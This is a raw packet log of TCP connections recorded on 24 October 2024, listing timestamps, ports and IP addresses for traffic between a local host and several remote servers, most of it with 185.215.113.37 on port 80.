Oct 24, 2024 08:38:43.025403023 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:43.025413036 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:43.025424957 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:43.025445938 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:43.025470018 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:43.025475025 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:43.025504112 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:43.025578022 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:43.029043913 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:43.029063940 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:43.029074907 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:43.029093027 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:43.029104948 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:43.029117107 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:43.029129028 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:43.029140949 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:43.029153109 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:43.029297113 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:43.066808939 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:43.066824913 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:43.066836119 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:43.066873074 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:43.066910982 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:43.101191044 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:43.101259947 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:43.101273060 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:43.101285934 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:43.101298094 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:43.103624105 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:43.121161938 CEST	443	61037	34.117.188.166	192.168.2.5
Oct 24, 2024 08:38:43.121292114 CEST	61037	443	192.168.2.5	34.117.188.166
Oct 24, 2024 08:38:43.129211903 CEST	61037	443	192.168.2.5	34.117.188.166
Oct 24, 2024 08:38:43.129211903 CEST	61037	443	192.168.2.5	34.117.188.166
Oct 24, 2024 08:38:43.129225969 CEST	443	61037	34.117.188.166	192.168.2.5
Oct 24, 2024 08:38:43.129472017 CEST	443	61037	34.117.188.166	192.168.2.5
Oct 24, 2024 08:38:43.129677057 CEST	61037	443	192.168.2.5	34.117.188.166
Oct 24, 2024 08:38:43.129753113 CEST	61040	443	192.168.2.5	34.117.188.166
Oct 24, 2024 08:38:43.129786968 CEST	443	61040	34.117.188.166	192.168.2.5
Oct 24, 2024 08:38:43.129986048 CEST	61040	443	192.168.2.5	34.117.188.166
Oct 24, 2024 08:38:43.131330013 CEST	61040	443	192.168.2.5	34.117.188.166
Oct 24, 2024 08:38:43.131345987 CEST	443	61040	34.117.188.166	192.168.2.5
Oct 24, 2024 08:38:43.138665915 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:43.138695002 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:43.138705969 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:43.138716936 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:43.138751030 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:43.138751030 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:43.138760090 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:43.138772964 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:43.138784885 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:43.138794899 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:43.138813019 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:43.138824940 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:43.138837099 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:43.138849974 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:43.138914108 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:43.138957977 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:43.138969898 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:43.139009953 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:43.139023066 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:43.139065981 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:43.139065981 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:43.139096975 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:43.139107943 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:43.139117002 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:43.139121056 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:43.139182091 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:43.139193058 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:43.139204025 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:43.139250994 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:43.139250994 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:43.139291048 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:43.139303923 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:43.139324903 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:43.139338017 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:43.139348984 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:43.139362097 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:43.139457941 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:43.139480114 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:43.139641047 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:43.139653921 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:43.139664888 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:43.139677048 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:43.139698982 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:43.139702082 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:43.139723063 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:43.139744043 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:43.139807940 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:43.139821053 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:43.139832020 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:43.139842987 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:43.139853954 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:43.139854908 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:43.139873981 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:43.139875889 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:43.139888048 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:43.139895916 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:43.139899969 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:43.139914036 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:43.139923096 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:43.139925957 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:43.139945984 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:43.139947891 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:43.139959097 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:43.139970064 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:43.139976025 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:43.139981985 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:43.139993906 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:43.139998913 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:43.140007973 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:43.140023947 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:43.140044928 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:43.140065908 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:43.140079021 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:43.140090942 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:43.140158892 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:43.140239954 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:43.140463114 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:43.140502930 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:43.140506983 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:43.140521049 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:43.140548944 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:43.140571117 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:43.140582085 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:43.140592098 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:43.140610933 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:43.140638113 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:43.140875101 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:43.140887976 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:43.140897989 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:43.140919924 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:43.140937090 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:43.164179087 CEST	61034	80	192.168.2.5	34.107.221.82
Oct 24, 2024 08:38:43.164391041 CEST	61031	80	192.168.2.5	34.107.221.82
Oct 24, 2024 08:38:43.169709921 CEST	80	61034	34.107.221.82	192.168.2.5
Oct 24, 2024 08:38:43.170089960 CEST	80	61031	34.107.221.82	192.168.2.5
Oct 24, 2024 08:38:43.170453072 CEST	61034	80	192.168.2.5	34.107.221.82
Oct 24, 2024 08:38:43.170479059 CEST	61031	80	192.168.2.5	34.107.221.82
Oct 24, 2024 08:38:43.181981087 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:43.181992054 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:43.182003975 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:43.182014942 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:43.182049036 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:43.182082891 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:43.216447115 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:43.216459990 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:43.216479063 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:43.216491938 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:43.216502905 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:43.216506958 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:43.216515064 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:43.216553926 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:43.216553926 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:43.253930092 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:43.253956079 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:43.253968000 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:43.254026890 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:43.254039049 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:43.254050016 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:43.254060984 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:43.254077911 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:43.254090071 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:43.254160881 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:43.254170895 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:43.254205942 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:43.254218102 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:43.254234076 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:43.254245996 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:43.254323959 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:43.254333973 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:43.254344940 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:43.254400015 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:43.254411936 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:43.254422903 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:43.254435062 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:43.254482031 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:43.254492998 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:43.254511118 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:43.254522085 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:43.254534960 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:43.254618883 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:43.254630089 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:43.254677057 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:43.254760981 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:43.254777908 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:43.254791975 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:43.254803896 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:43.254817009 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:43.254870892 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:43.254883051 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:43.254895926 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:43.254908085 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:43.254976988 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:43.254988909 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:43.255001068 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:43.255012035 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:43.255119085 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:43.255130053 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:43.255141020 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:43.255158901 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:43.255171061 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:43.255182981 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:43.255213022 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:43.255224943 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:43.255335093 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:43.255347013 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:43.255357981 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:43.255371094 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:43.255383015 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:43.255393028 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:43.255481958 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:43.255494118 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:43.255506039 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:43.255721092 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:43.255759954 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:43.255770922 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:43.255827904 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:43.255840063 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:43.255857944 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:43.255868912 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:43.255883932 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:43.257034063 CEST	61041	80	192.168.2.5	34.107.221.82
Oct 24, 2024 08:38:43.262383938 CEST	80	61041	34.107.221.82	192.168.2.5
Oct 24, 2024 08:38:43.262785912 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:43.262829065 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:43.262862921 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:43.262881994 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:43.262912035 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:43.262940884 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:43.262983084 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:43.263572931 CEST	61041	80	192.168.2.5	34.107.221.82
Oct 24, 2024 08:38:43.263732910 CEST	61041	80	192.168.2.5	34.107.221.82
Oct 24, 2024 08:38:43.269012928 CEST	80	61041	34.107.221.82	192.168.2.5
Oct 24, 2024 08:38:43.280020952 CEST	443	61038	34.160.144.191	192.168.2.5
Oct 24, 2024 08:38:43.280035019 CEST	443	61038	34.160.144.191	192.168.2.5
Oct 24, 2024 08:38:43.280096054 CEST	61038	443	192.168.2.5	34.160.144.191
Oct 24, 2024 08:38:43.282841921 CEST	61038	443	192.168.2.5	34.160.144.191
Oct 24, 2024 08:38:43.282846928 CEST	443	61038	34.160.144.191	192.168.2.5
Oct 24, 2024 08:38:43.283078909 CEST	443	61038	34.160.144.191	192.168.2.5
Oct 24, 2024 08:38:43.285516977 CEST	61038	443	192.168.2.5	34.160.144.191
Oct 24, 2024 08:38:43.285634995 CEST	61038	443	192.168.2.5	34.160.144.191
Oct 24, 2024 08:38:43.285662889 CEST	443	61038	34.160.144.191	192.168.2.5
Oct 24, 2024 08:38:43.287301064 CEST	61038	443	192.168.2.5	34.160.144.191
Oct 24, 2024 08:38:43.297198057 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:43.297243118 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:43.297314882 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:43.650293112 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:43.656342983 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:43.751599073 CEST	443	61040	34.117.188.166	192.168.2.5
Oct 24, 2024 08:38:43.755717993 CEST	61040	443	192.168.2.5	34.117.188.166
Oct 24, 2024 08:38:43.870698929 CEST	80	61041	34.107.221.82	192.168.2.5
Oct 24, 2024 08:38:43.923978090 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:43.924037933 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:43.924384117 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:43.924467087 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:43.924601078 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:43.924649954 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:43.924664021 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:43.924686909 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:43.924698114 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:43.924710035 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:43.924750090 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:43.924761057 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:43.924772024 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:43.924796104 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:43.924808979 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:43.924819946 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:43.924833059 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:43.924845934 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:43.924859047 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:43.924926996 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:43.924937963 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:43.924951077 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:43.924962044 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:43.924968958 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:43.924985886 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:43.925012112 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:43.925033092 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:43.925048113 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:43.925059080 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:43.925071001 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:43.925081968 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:43.925093889 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:43.925110102 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:43.925120115 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:43.925126076 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:43.925131083 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:43.925143003 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:43.925153971 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:43.926187992 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:43.926229954 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:43.926265955 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:43.926388025 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:43.940963030 CEST	61041	80	192.168.2.5	34.107.221.82
Oct 24, 2024 08:38:44.039122105 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:44.039136887 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:44.039150000 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:44.039194107 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:44.039230108 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:44.039354086 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:44.039365053 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:44.039376020 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:44.039388895 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:44.039411068 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:44.039424896 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:44.039434910 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:44.039458036 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:44.039475918 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:44.039477110 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:44.039490938 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:44.039505005 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:44.039513111 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:44.039578915 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:44.039649010 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:44.039661884 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:44.039679050 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:44.039715052 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:44.039726019 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:44.039736986 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:44.039753914 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:44.039769888 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:44.039782047 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:44.039793968 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:44.039803982 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:44.039848089 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:44.039905071 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:44.039920092 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:44.039931059 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:44.039968967 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:44.040041924 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:44.040055037 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:44.040069103 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:44.040081978 CEST	80	61014	185.215.113.37	192.168.2.5
